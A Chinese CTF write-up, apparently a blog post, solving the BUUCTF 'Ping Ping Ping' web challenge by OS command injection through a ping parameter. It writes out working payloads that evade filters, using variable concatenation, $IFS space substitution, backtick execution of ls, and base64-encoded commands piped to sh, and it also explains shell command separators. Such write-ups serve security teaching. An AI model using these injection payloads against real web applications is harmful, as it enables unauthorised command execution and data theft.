Buuctf (Web)Ping Ping Ping


一.解题步骤

(1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用";“”|“”&"三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。
这里介绍两种方式:
1.ping本地127.0.0.1
在这里插入图片描述
2.用||来代替127.0.0.1;
在这里插入图片描述
(2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php的文件源码来查看源码,从而确认过滤了哪些东西,题目说过滤了命令连接符&,\,空格,*,bash,<>,flag,?,我们得想一些其他方法来绕过
在这里插入图片描述
(3)要想得到flag了,我们需要绕过过滤掉的东西
这里介绍三种可以解决的特殊绕过方式:
1.拼接绕过法

else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

以上是题目给的绕过flag的源码,我们这里需要知道这是正则表达式匹配了ip的值中是否顺序出现了f、l、a、g四个字母。这样一来我们就可以拼接一个flag来绕过了,可以拼接f;lag fl;ag fla;g 但是这里需要注意:本题特殊就特殊在flag的字母顺序要不同(拼接绕过的一个大坑)

y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y

构造payload:/?ip=||y=ag;x=fl;cat$IFS$9$x$y.php跑一下得到flag
在这里插入图片描述
2.内联执行法
可以看到代码没有过滤掉符号` 所以可以利用内联执行的方式直接打开flag文件,先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 跑一下,查看源码拿到flag

/?ip=127.0.0.1;cat$IFS$6`ls`或者/?ip=||cat$IFS$6`ls`

在这里插入图片描述
3. sh编码绕过法(base64编码)
使用方法:

echo 命令编码|base64 -d|sh

sh可以换成bash, 但是题目过滤掉了
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

构造payload , 相当于执行命令cat flag.php,跑一下,查看源码得到flag

/?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
/?ip=||echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

在这里插入图片描述


二、命令分隔符

1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位和),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑和),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、;(linux下有的,和&一样的作用)

三.常见绕过方式

此处特别鸣谢Yun 3a0
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

  • 7
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值